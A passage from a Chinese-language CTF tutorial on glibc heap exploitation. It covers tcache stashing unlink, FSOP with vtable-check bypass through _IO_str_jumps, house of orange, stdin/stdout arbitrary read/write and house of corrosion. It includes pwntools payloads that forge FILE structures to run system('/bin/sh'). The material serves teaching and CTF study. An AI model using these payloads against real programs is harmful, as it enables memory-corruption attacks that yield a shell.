3、通過calloc()越過tcache bin,直接從small bin中取出chunk_B返回給用戶,并且會將chunk_A以及其所指向的fake chunk放入tcache bin(這里只會檢測chunk_A的fd指針是否指向了chunk_B)。
while ( tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin) ) != bin) //驗證取出的Chunk是否為Bin本身(Smallbin是否已空){ if (tc_victim != 0) //成功獲取了chunk { bck = tc_victim->bk; //在這里bck是fake chunk的bk //設置標志位 set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; //關鍵處 tcache_put (tc_victim, tc_idx); //將其放入到tcache中 }}
4、在fake chunk放入tcache bin之前,執行了bck->fd = bin;的操作(這里的bck就是fake chunk的bk,也就是target_addr - 0x10),故target_addr - 0x10的fd,也就target_addr地址會被寫入一個與libc相關大數值(可利用)。
5、再申請一次,就可以從tcache中獲得fake chunk的控制權。
綜上,此利用可以完成獲得任意地址的控制權和在任意地址寫入大數值兩個任務,這兩個任務當然也可以拆解分別完成。
1、獲得任意地址target_addr的控制權:在上述流程中,直接將chunk_A的bk改為target_addr - 0x10,并且保證target_addr - 0x10的bk的fd為一個可寫地址(一般情況下,使target_addr - 0x10的bk,即target_addr + 8處的值為一個可寫地址即可)。
2、在任意地址target_addr寫入大數值:在unsorted bin attack后,有時候要修復鏈表,在鏈表不好修復時,可以采用此利用達到同樣的效果,在高版本glibc下,unsorted bin attack失效后,此利用應用更為廣泛。在上述流程中,需要使tcache bin中原先有六個堆塊,然后將chunk_A的bk改為target_addr - 0x10即可。
此外,讓tcache bin中不滿七個,就又在smallbin中有同樣大小的堆塊,并且只有calloc,可以利用堆塊分割后,殘余部分進入unsorted bin實現。
IO_FILE 相關結構體
_IO_FILE_plus結構體的定義為:
struct _IO_FILE_plus{ _IO_FILE file; const struct _IO_jump_t *vtable;};
vtable對應的結構體_IO_jump_t的定義為:
struct _IO_jump_t{ JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue);#if 0 get_column; set_column;#endif};
這個函數表中有19個函數,分別完成IO相關的功能,由IO函數調用,如fwrite最終會調用__write函數,fread會調用__doallocate來分配IO緩沖區等。
struct _IO_FILE { int _flags; #define _IO_file_flags _flags char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};
進程中FILE結構通過_chain域構成一個鏈表,鏈表頭部為_IO_list_all全局變量,默認情況下依次鏈接了stderr,stdout,stdin三個文件流,并將新建的流插入到頭部,vtable虛表為_IO_file_jumps。
此外,還有_IO_wide_data結構體:
struct _IO_wide_data{ wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; [...] const struct _IO_jump_t *_wide_vtable;};
還有一些宏的定義:
#define _IO_MAGIC 0xFBAD0000#define _OLD_STDIO_MAGIC 0xFABC0000#define _IO_MAGIC_MASK 0xFFFF0000#define _IO_USER_BUF 1#define _IO_UNBUFFERED 2#define _IO_NO_READS 4#define _IO_NO_WRITES 8#define _IO_EOF_SEEN 0x10#define _IO_ERR_SEEN 0x20#define _IO_DELETE_DONT_CLOSE 0x40#define _IO_LINKED 0x80#define _IO_IN_BACKUP 0x100#define _IO_LINE_BUF 0x200#define _IO_TIED_PUT_GET 0x400#define _IO_CURRENTLY_PUTTING 0x800#define _IO_IS_APPENDING 0x1000#define _IO_IS_FILEBUF 0x2000#define _IO_BAD_SEEN 0x4000#define _IO_USER_LOCK 0x8000
此外,許多Pwn題初始化的時候都會有下面三行:
setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);
這是初始化程序的io結構體,只有初始化之后,io函數才能在程序過程中打印數據,如果不初始化,就只能在exit結束的時候,才能一起把數據打印出來。
IO_FILE attack 之 FSOP (libc 2.23 & 2.24)
主要原理為劫持vtable與_chain,偽造IO_FILE,主要利用方式為調用IO_flush_all_lockp()函數觸發。
IO_flush_all_lockp()函數將在以下三種情況下被調用:
1、libc檢測到內存錯誤,從而執行abort函數時(在glibc-2.26刪除)。
2、程序執行exit函數時。
3、程序從main函數返回時。
源碼:
int _IO_flush_all_lockp (int do_lock){ int result = 0; struct _IO_FILE *fp; int last_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))#endif ) && _IO_OVERFLOW (fp, EOF) == EOF) //如果輸出緩沖區有數據,刷新輸出緩沖區 result = EOF; fp = fp->_chain; //遍歷鏈表 } [...]}
可以看到,當滿足:
fp->_mode = 0fp->_IO_write_ptr > fp->_IO_write_base
就會調用_IO_OVERFLOW()函數,而這里的_IO_OVERFLOW就是文件流對象虛表的第四項指向的內容_IO_new_file_overflow,因此在libc-2.23版本下可如下構造,進行FSOP:
._chain => chunk_addrchunk_addr{ file = { _flags = "/bin/sh\x00", //對應此結構體首地址(fp) _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x1, ... _mode = 0x0, //一般不用特意設置 _unused2 = '\000' }, vtable = heap_addr}heap_addr{ __dummy = 0x0, __dummy2 = 0x0, __finish = 0x0, __overflow = system_addr, ...}
因此這樣構造,通過_IO_OVERFLOW (fp),我們就實現了system("/bin/sh\x00")。
而libc-2.24加入了對虛表的檢查IO_validate_vtable()與IO_vtable_check(),若無法通過檢查,則會報錯:Fatal error: glibc detected an invalid stdio handle。
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)# define _IO_JUMPS_FUNC(THIS) \ (IO_validate_vtable \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset)))
可見在最終調用vtable的函數之前,內聯進了IO_validate_vtable函數,其源碼如下:
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable){ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) //檢查vtable指針是否在glibc的vtable段中。 _IO_vtable_check (); return vtable;}
glibc中有一段完整的內存存放著各個vtable,其中__start___libc_IO_vtables指向第一個vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一個vtable_IO_str_chk_jumps結束的地址。
若指針不在glibc的vtable段,會調用_IO_vtable_check()做進一步檢查,以判斷程序是否使用了外部合法的vtable(重構或是動態鏈接庫中的vtable),如果不是則報錯。
具體源碼如下:
void attribute_hidden _IO_vtable_check (void){#ifdef SHARED void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);#ifdef PTR_DEMANGLE PTR_DEMANGLE (flag);#endif if (flag == &_IO_vtable_check) //檢查是否是外部重構的vtable return; { Dl_info di; struct link_map *l; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) //檢查是否是動態鏈接庫中的vtable return; } ... __libc_fatal ("Fatal error: glibc detected an invalid stdio handle");}
因此,最好的辦法是:我們偽造的vtable在glibc的vtable段中,從而得以繞過該檢查。
目前來說,有四種思路:利用_IO_str_jumps中_IO_str_overflow()函數,利用_IO_str_jumps中_IO_str_finish()函數與利用_IO_wstr_jumps中對應的這兩種函數,先來介紹最為方便的:利用_IO_str_jumps中_IO_str_finish()函數的手段。
_IO_str_jumps的結構體如下:
const struct _IO_jump_t _IO_str_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), ...}
其中,_IO_str_finish源代碼如下:
void _IO_str_finish (_IO_FILE *fp, int dummy){ if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //執行函數 fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0);}
其中相關的_IO_str_fields結構體與_IO_strfile_結構體的定義:
struct _IO_str_fields{ _IO_alloc_type _allocate_buffer; _IO_free_type _free_buffer;}; typedef struct _IO_strfile_{ struct _IO_streambuf _sbf; struct _IO_str_fields _s;} _IO_strfile;
可以看到,它使用了IO結構體中的值當作函數地址來直接調用,如果滿足條件,將直接將fp->_s._free_buffer當作函數指針來調用。
首先,仍然需要繞過之前的_IO_flush_all_lokcp函數中的輸出緩沖區的檢查_mode<=0以及_IO_write_ptr>_IO_write_base進入到_IO_OVERFLOW中。
我們可以將vtable的地址覆蓋成_IO_str_jumps-8,這樣會使得_IO_str_finish函數成為了偽造的vtable地址的_IO_OVERFLOW函數(因為_IO_str_finish偏移為_IO_str_jumps中0x10,而_IO_OVERFLOW為0x18)。這個vtable(地址為_IO_str_jumps-8)可以繞過檢查,因為它在vtable的地址段中。
構造好vtable之后,需要做的就是構造IO FILE結構體其他字段,以進入將fp->_s._free_buffer當作函數指針的調用:先構造fp->_IO_buf_base為/bin/sh的地址,然后構造fp->_flags不包含_IO_USER_BUF,它的定義為#define _IO_USER_BUF 1,即fp->_flags最低位為0。
最后構造fp->_s._free_buffer為system_addr或one gadget即可getshell。
由于libc中沒有_IO_str_jump的符號,因此可以通過_IO_str_jumps是vtable中的倒數第二個表,用vtable的最后地址減去0x168定位。
也可以用如下函數進行定位:
# libc.address = libc_basedef get_IO_str_jumps(): IO_file_jumps_addr = libc.sym['_IO_file_jumps'] IO_str_underflow_addr = libc.sym['_IO_str_underflow'] for ref in libc.search(p64(IO_str_underflow_addr-libc.address)): possible_IO_str_jumps_addr = ref - 0x20 if possible_IO_str_jumps_addr > IO_file_jumps_addr: return possible_IO_str_jumps_addr
可以進行如下構造:
._chain => chunk_addrchunk_addr{ file = { _flags = 0x0, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x1, _IO_write_end = 0x0, _IO_buf_base = bin_sh_addr, ... _mode = 0x0, //一般不用特意設置 _unused2 = '\000' }, vtable = _IO_str_jumps-8 //chunk_addr + 0xd8 ~ +0xe0}+0xe0 ~ +0xe8 : 0x0+0xe8 ~ +0xf0 : system_addr / one_gadget //fp->_s._free_buffer
利用house of orange(見下文)構造的payload:
payload = p64(0) + p64(0x60) + p64(0) + p64(libc.sym['_IO_list_all'] - 0x10) #unsorted bin attackpayload += p64(0) + p64(1) + p64(0) + p64(next(libc.search(b'/bin/sh')))payload = payload.ljust(0xd8, b'\x00') + p64(get_IO_str_jumps() - 8)payload += p64(0) + p64(libc.sym['system'])
再來介紹一下:利用_IO_str_jumps中_IO_str_overflow()函數的手段。
_IO_str_overflow()函數的源碼如下:
int _IO_str_overflow (_IO_FILE *fp, int c){ int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 調用了fp->_s._allocate_buffer函數指針 if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c;}
和之前利用_IO_str_finish的思路差不多,可以看到其中調用了fp->_s._allocate_buffer函數指針,其參數rdi為new_size,因此,我們將_s._allocate_buffer改為system的地址,new_size改為/bin/sh的地址,又new_size = 2 * old_blen + 100,也就是new_size = 2 * _IO_blen (fp) + 100,可以找到宏定義:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)。
因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100,故我們可以使_IO_buf_base = 0,_IO_buf_end = (bin_sh_addr - 100) // 2,當然還不能忘了需要繞過_IO_flush_all_lokcp函數中的輸出緩沖區的檢查_mode<=0以及_IO_write_ptr>_IO_write_base才能進入到_IO_OVERFLOW中,故令_IO_write_ptr = 0xffffffffffffffff且_IO_write_base = 0x0即可。
最終可按如下布局fake IO_FILE:
._chain => chunk_addrchunk_addr{ file = { _flags = 0x0, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x1, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = (bin_sh_addr - 100) // 2, ... _mode = 0x0, //一般不用特意設置 _unused2 = '\000' }, vtable = _IO_str_jumps //chunk_addr + 0xd8 ~ +0xe0}+0xe0 ~ +0xe8 : system_addr / one_gadget //fp->_s._allocate_buffer
參考payload(劫持的stdout):
new_size = libc_base + next(libc.search(b'/bin/sh'))payload = p64(0xfbad2084)payload += p64(0) # _IO_read_ptrpayload += p64(0) # _IO_read_endpayload += p64(0) # _IO_read_basepayload += p64(0) # _IO_write_basepayload += p64(0xffffffffffffffff) # _IO_write_ptrpayload += p64(0) # _IO_write_endpayload += p64(0) # _IO_buf_basepayload += p64((new_size - 100) // 2) # _IO_buf_endpayload += p64(0) * 4payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])payload += p64(1) + p64((1<<64) - 1)payload += p64(0) + p64(libc_base + 0x3ed8c0) #lockpayload += p64((1<<64) - 1) + p64(0)payload += p64(libc_base + 0x3eb8c0)payload += p64(0) * 6payload += p64(libc_base + get_IO_str_jumps_offset()) # _IO_str_jumpspayload += p64(libc_base + libc.sym["system"])
而在libc-2.28及以后,由于不再使用偏移找_s._allocate_buffer和_s._free_buffer,而是直接用malloc和free代替,所以FSOP也失效了。
house of orange
利用unsorted bin attack 配合 IO_FILE attack (FSOP)進行攻擊。
通過unsorted bin attack將_IO_list_all內容從_IO_2_1_stderr_改為main_arena+88/96(實則指向top chunk)。
而在_IO_FILE_plus結構體中,_chain的偏移為0x68,而top chunk之后為0x8單位的last_remainder,接下來為unsorted bin的fd與bk指針,共0x10大小,再之后為small bin中的指針(每個small bin有fd與bk指針,共0x10個單位),剩下0x50的單位,從smallbin[0]正好分配到smallbin[4](準確說為其fd字段),大小就是從0x20到0x60,而smallbin[4]的fd字段中的內容為該鏈表中最靠近表頭的small bin的地址 (chunk header)。
因此0x60的small bin的地址即為fake struct的_chain中的內容,只需要控制該0x60的small bin(以及其下面某些堆塊)中的部分內容,即可進行FSOP。
IO_FILE attack 之 利用_fileno字段
_fileno的值就是文件描述符,位于stdin文件結構開頭0x70偏移處,如:stdin的fileno為0,stdout的fileno為1,stderr的fileno為2。
在漏洞利用中,可以通過修改stdin的_fileno值來重定位需要讀取的文件,本來為0的話,表示從標準輸入中讀取,修改為3則表示為從文件描述符為3的文件(已經open的文件)中讀取,該利用在某些情況下可直接讀取flag。
IO_FILE attack 之 任意讀寫
1、利用stdin進行任意寫
scanf,fread,gets等讀入走IO指針(read不走)。
大體流程為:若_IO_buf_base為空,則調用_IO_doallocbuf去初始化輸入緩沖區,然后判斷輸入緩沖區是否存在剩余數據,如果輸入緩沖區有剩余數據(_IO_read_end > _IO_read_ptr)則將其直接拷貝至目標地址(不會對此時輸入的數據進行讀入)。
如果沒有或不夠,則調用__underflow函數執行系統調用讀取數據(SYS_read)到輸入緩沖區(從_IO_buf_base到_IO_buf_end,默認0x400,即將數據讀到_IO_buf_base,讀取0x400個字節),此時若實際讀入了n個字節的數據,則_IO_read_end = _IO_buf_base + n(即_IO_read_end指向實際讀入的最后一個字節的數據),之后再將輸入緩沖區中的數據拷貝到目標地址。
這里需要注意的是,若輸入緩沖區中沒有剩余的數據,則每次讀入數據進輸入緩沖區,僅和_IO_buf_base與_IO_buf_end有關。
在將數據從輸入緩沖區拷貝到目標地址的過程中,需要滿足所調用的讀入函數的自身的限制條件,例如:使用scanf("%d",&a)讀入整數,則當在輸入緩沖區中遇到了字符(或scanf的一些截斷符)等不符合的情況,就會停止這個拷貝的過程。
最終,_IO_read_ptr指向成功拷貝到目的地址中的最后一個字節數據在輸入緩沖區中的地址。因此,若是遇到了不符合限制條件的情況而終止拷貝,則最終會使得_IO_read_end > _IO_read_ptr,即再下一次讀入之前會被認定為輸入緩沖區中仍有剩余數據。
在此情況下,很有可能不會進行此次讀入,或將輸入緩沖區中剩余的數據拷貝到此次讀入的目標地址,從而導致讀入的錯誤。
getchar()和IO_getc()的作用是刷新_IO_read_ptr,每次調用,會從輸入緩沖區讀一個字節數據,即將_IO_read_ptr++。
相關源碼:
_IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n){ ... if (fp->_IO_buf_base == NULL) { ... //輸入緩沖區為空則初始化輸入緩沖區 } while (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (have > 0) { ... //memcpy } if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) // 調用__underflow讀入數據 ... } ... return n - want;}
int _IO_new_file_underflow (_IO_FILE *fp){ _IO_ssize_t count; ... // 會檢查_flags是否包含_IO_NO_READS標志,包含則直接返回。 // 標志的定義是#define _IO_NO_READS 4,因此_flags不能包含4。 if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } // 如果輸入緩沖區里存在數據,則直接返回 if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; ... // 調用_IO_SYSREAD函數最終執行系統調用讀取數據 count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); ...}libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
綜上,為了做到任意寫,滿足如下條件,即可進行利用:
(1) 設置_IO_read_end等于_IO_read_ptr(使得輸入緩沖區內沒有剩余數據,從而可以從用戶讀入數據)。
(2) 設置_flag &~ _IO_NO_READS即_flag &~ 0x4(一般不用特意設置)。
(3) 設置_fileno為0(一般不用特意設置)。
(4) 設置_IO_buf_base為write_start,_IO_buf_end為write_end(我們目標寫的起始地址是write_start,寫結束地址為write_end),且使得_IO_buf_end-_IO_buf_base大于要寫入的數據長度。
2、利用stdout進行任意讀/寫
printf,fwrite,puts等輸出走IO指針(write不走)。
在_IO_2_1_stdout_中,_IO_buf_base和_IO_buf_end為輸出緩沖區起始位置(默認大小為0x400),在輸出的過程中,會先將需要輸出的數據從目標地址拷貝到輸出緩沖區,再從輸出緩沖區輸出給用戶。
緩沖區建立函數_IO_doallocbuf會建立輸出緩沖區,并把基地址保存在_IO_buf_base中,結束地址保存在_IO_buf_end中。在建立里輸出緩沖區后,會將基址址給_IO_write_base,若是設置的是全緩沖模式_IO_FULL_BUF,則會將結束地址給_IO_write_end,若是設置的是行緩沖模式_IO_LINE_BUF,則_IO_write_end中存的是_IO_buf_base。
此外,_IO_write_ptr表示輸出緩沖區中已經使用到的地址。即_IO_write_base到_IO_write_ptr之間的空間是已經使用的緩沖區,_IO_write_ptr到_IO_write_end之間為剩余的輸出緩沖區。
最終實際調用了_IO_2_1_stdout_的vtable中的_xsputn,也就是_IO_new_file_xsputn函數,源碼如下:
IO_size_t _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n){ const char *s = (const char *) data; _IO_size_t to_do = n; int must_flush = 0; _IO_size_t count = 0; if (n <= 0) return 0; if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) { //如果是行緩沖模式... count = f->_IO_buf_end - f->_IO_write_ptr; //判斷輸出緩沖區還有多少空間 if (count >= n) { const char *p; for (p = s + n; p > s; ) { if (*--p == '') //最后一個換行符為截斷符,且需要刷新輸出緩沖區 { count = p - s + 1; must_flush = 1; //標志為真:需要刷新輸出緩沖區 break; } } } } else if (f->_IO_write_end > f->_IO_write_ptr) //判斷輸出緩沖區還有多少空間(全緩沖模式) count = f->_IO_write_end - f->_IO_write_ptr; if (count > 0) { //如果輸出緩沖區有空間,則先把數據拷貝至輸出緩沖區 if (count > to_do) count = to_do; f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; to_do -= count; } if (to_do + must_flush > 0) //此處關鍵,見下文詳細討論 { _IO_size_t block_size, do_write; if (_IO_OVERFLOW (f, EOF) == EOF) //調用_IO_OVERFLOW return to_do == 0 ? EOF : n - to_do; block_size = f->_IO_buf_end - f->_IO_buf_base; do_write = to_do - (block_size >= 128 ? to_do % block_size : 0); if (do_write) { count = new_do_write (f, s, do_write); to_do -= count; if (count < do_write) return n - to_do; } if (to_do) to_do -= _IO_default_xsputn (f, s+do_write, to_do); } return n - to_do;}libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
(1)任意寫
可以看到,在行緩沖模式下,判斷輸出緩沖區還有多少空間,用的是count = f->_IO_buf_end - f->_IO_write_ptr,而在全緩沖模式下,用的是count = f->_IO_write_end - f->_IO_write_ptr,若是還有空間剩余,則會將要輸出的數據復制到輸出緩沖區中(此時由_IO_write_ptr控制,向_IO_write_ptr拷貝count長度的數據),因此可通過這一點來實現任意地址寫的功能。
利用方式:以全緩沖模式為例,只需將_IO_write_ptr指向write_start,_IO_write_end指向write_end即可。
這里需要注意的是,有宏定義#define _IO_LINE_BUF 0x0200,此處flag & _IO_LINE_BUF為真,則表示flag中包含了_IO_LINE_BUF標識,即開啟了行緩沖模式(可用setvbuf(stdout,0,_IOLBF,1024)開啟),若要構造flag包含_IO_LINE_BUF標識,則flag |= 0x200即可。
(2)任意讀
先討論_IO_new_file_xsputn源代碼中if (to_do + must_flush > 0)有哪些情況會執行該分支中的內容:
(a) 首先要明確的是to_do一定是非負數,因此若must_flush為1的時候就會執行該分支中的內容,而再往上看,當需要輸出的內容中有換行符的時候就會需要刷新輸出緩沖區,即將must_flush設為1,故當輸出內容中有的時候就會執行該分支的內容,如用puts函數輸出就一定會執行。
(b) 若to_do大于0,也會執行該分支中的內容,因此,當 輸出緩沖區未建立 或者 輸出緩沖區沒有剩余空間 或者 輸出緩沖區剩余的空間不夠一次性將目標地址中的數據完全拷貝過來 的時候,也會執行該if分支中的內容。
而該if分支中主要調用了_IO_OVERFLOW()來刷新輸出緩沖區,而在此過程中會調用_IO_do_write()輸出我們想要的數據。
相關源碼:
int _IO_new_file_overflow (_IO_FILE *f, int ch){ // 判斷標志位是否包含_IO_NO_WRITES => _flags需要不包含_IO_NO_WRITES if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } // 判斷輸出緩沖區是否為空 以及 是否不包含_IO_CURRENTLY_PUTTING標志位 // 為了不執行該if分支以免出錯,最好定義 _flags 包含 _IO_CURRENTLY_PUTTING if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) { ... } // 調用_IO_do_write 輸出 輸出緩沖區 // 從_IO_write_base開始,輸出(_IO_write_ptr - f->_IO_write_base)個字節的數據 if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); return (unsigned char) ch;}libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do){ ... _IO_size_t count; // 為了不執行else if分支中的內容以產生錯誤,可構造_flags包含_IO_IS_APPENDING 或 設置_IO_read_end等于_IO_write_base if (fp->_flags & _IO_IS_APPENDING) fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_offset = new_pos; } // 調用函數輸出輸出緩沖區 count = _IO_SYSWRITE (fp, data, to_do); ... return count;}
綜上,為了做到任意讀,滿足如下條件,即可進行利用:
(1) 設置_flag &~ _IO_NO_WRITES,即_flag &~ 0x8;
(2) 設置_flag & _IO_CURRENTLY_PUTTING,即_flag | 0x800;
(3) 設置_fileno為1;
(4) 設置_IO_write_base指向想要泄露的地方,_IO_write_ptr指向泄露結束的地址;
(5) 設置_IO_read_end等于_IO_write_base 或 設置_flag & _IO_IS_APPENDING即,_flag | 0x1000。
此外,有一個大前提:需要調用_IO_OVERFLOW()才行,因此需使得需要輸出的內容中含有換行符 或 設置_IO_write_end等于_IO_write_ptr(輸出緩沖區無剩余空間)等。
一般來說,經常利用puts函數加上述stdout任意讀的方式泄露libc。
_flag的構造需滿足的條件:
_flags = 0xfbad0000 _flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
因此,例如在libc-2.27下,構造payload = p64(0xfbad1800) + p64(0)*3 + b'\x58',泄露出的第一個地址即為_IO_file_jumps的地址。
此外,_flags也可再加一些其他無關緊要的部分,如設置為0xfbad1887,0xfbad1880,0xfbad3887等等。
global_max_fast的相關利用 (house of corrosion)
fastbin_ptr在libc-2.23指向main_arena+8的地址,在libc-2.27及以上指向main_arena+0x10的地址,從此地址開始,存放了各大小的fast bin的fd指針,指向各單鏈表中首個堆塊的地址,因此可將global_max_fast改為很大的數,再釋放大堆塊進入fast bin,那么就可以將main_arena后的某處覆蓋成該堆塊地址。
因此,我們需要通過目標地址與fast bin數組的偏移計算出所需free的堆塊的size,計算方式如下:
fastbin_ptr = libc_base + libc.symbols['main_arena'] + 8(0x10)index = (target_addr - fastbin_ptr) / 8size = index*0x10 + 0x20
容易想到,可以通過此方式進行IO_FILE attack:覆寫_IO_list_all,使其指向偽造的結構體,或者偽造._chain指向的結構體來實現任意讀寫,或者偽造vtable(libc-2.23)。
也可以利用此方式,修改__free_hook函數(__malloc_hook與__realloc_hook在main_arena的上方),從而getshell,此時需要有UAF漏洞修改__free_hook中的fake fast bin的fd為system_addr或one_gadget(這里不涉及該fd指針指向的堆塊的取出,因此不需要偽造size),然后申請出這個fake fast bin,于是__free_hook這里的“偽鏈表頭”將會指向被移出該單鏈表的fake fast bin的fd字段中的地址,即使得__free_hook中的內容被修改成了system_addr或one_gadget。
